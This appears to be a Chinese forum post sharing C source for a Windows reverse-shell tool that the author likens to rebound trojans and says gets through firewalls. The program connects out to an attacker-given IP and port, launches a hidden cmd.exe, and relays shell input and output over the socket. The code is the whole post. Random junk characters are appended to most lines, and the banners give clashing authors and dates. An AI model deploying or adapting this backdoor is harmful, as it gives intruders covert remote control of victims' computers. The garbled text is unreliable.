这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'b"TH^\
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/* ============================== _2vd`k
Rebound port in Windows NT H'J|U|
By wind,2006/7 `&$B3)Eb
===============================*/ R
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#include qI3NkVA'C
#include G6`J1Uk
@\Js8[wS9@
#pragma comment(lib,"wsock32.lib") bb=uF1
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void OutputShell(); qS8B##x+=
SOCKET sClient; 8)0L2KL'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EA{U!b]cU
+'03>!V
void main(int argc,char **argv) K6pR8z*?
{ D>wZ0p b-
WSADATA stWsaData; :wgfW .w
int nRet; -g`IH-B
SOCKADDR_IN stSaiClient,stSaiServer; Q* O<@
v@u<Ww;=@
if(argc != 3) O%1/r*
{ mgkyC5)d
printf("Useage:\n\rRebound DestIP DestPort\n"); pvXcLR)L+3
return; NyPd5m:
} }C(5 -7
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WSAStartup(MAKEWORD(2,2),&stWsaData); G5'_a$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -)w]a{F
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stSaiClient.sin_family = AF_INET; @Z\~
stSaiClient.sin_port = htons(0); qSiWnN8D
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H}b\`N[nr
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >xd<YwXZ
{ t<b 3K-
printf("Bind Socket Failed!\n"); ?~2Bi^W5
return; xRX>|S
} >#N[GrJAE
C}CKnkMMD
stSaiServer.sin_family = AF_INET; V,LVB_6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %cW;}Y[?P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J4yt N3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %<}=xJf>1
{ t =dO
printf("Connect Error!"); `mB.pz[
return; HcJE0-"
} l
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OutputShell(); i7eI=f-Q
} W(&6
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void OutputShell() Hq
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{ *W^=XbG
char szBuff[1024]; vg^Myn
SECURITY_ATTRIBUTES stSecurityAttributes; O{n<WQd{CY
OSVERSIONINFO stOsversionInfo; ,$Tk$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Vm!i
STARTUPINFO stStartupInfo; v*P[W_.
char *szShell; \p6 }
PROCESS_INFORMATION stProcessInformation; 1!/-)1t
unsigned long lBytesRead; jp m#hH{R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fS./y=j(X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $pFk"]=
stSecurityAttributes.lpSecurityDescriptor = 0; ex phe+b
stSecurityAttributes.bInheritHandle = TRUE; Kpg:yrc['
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H`D f
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s)tpr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )vHi|~(
V} bM!5 H
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3A
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ){tPP$-i=
stStartupInfo.wShowWindow = SW_HIDE; ]p$zvMf}
stStartupInfo.hStdInput = hReadPipe; \GHOg.P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5<N~3
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rFB?>`
GetVersionEx(&stOsversionInfo); l10-XU02
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switch(stOsversionInfo.dwPlatformId) lO&cCV;
{ BE%Z\E[[m
case 1: '49L(>.
szShell = "command.com"; X>/K/M
break; 46dc.Yi
default: L<)Z> @fR
szShell = "cmd.exe"; 0P9Wy!f7
break; VR v02m5
} AM?Ec1S
#a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MOLO3?H(
j i##$xC
send(sClient,szMsg,77,0); !Mil?^
while(1) _m7co :
{ S.]MOB dt
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )G4rJ~#@
if(lBytesRead) %Qd3BZ
{ ZeTL$E[E}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,cS0
send(sClient,szBuff,lBytesRead,0); .Qk{5=l6P
} =phiD&=
else `5<1EGJsD
{ H PTHF
lBytesRead=recv(sClient,szBuff,1024,0); "GLYyC
if(lBytesRead<=0) break; x-4J/tm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LT(?#)D
} TMY{OI8 a
} &oc_a1R
2+&R"#I
return; r./z,4A`
}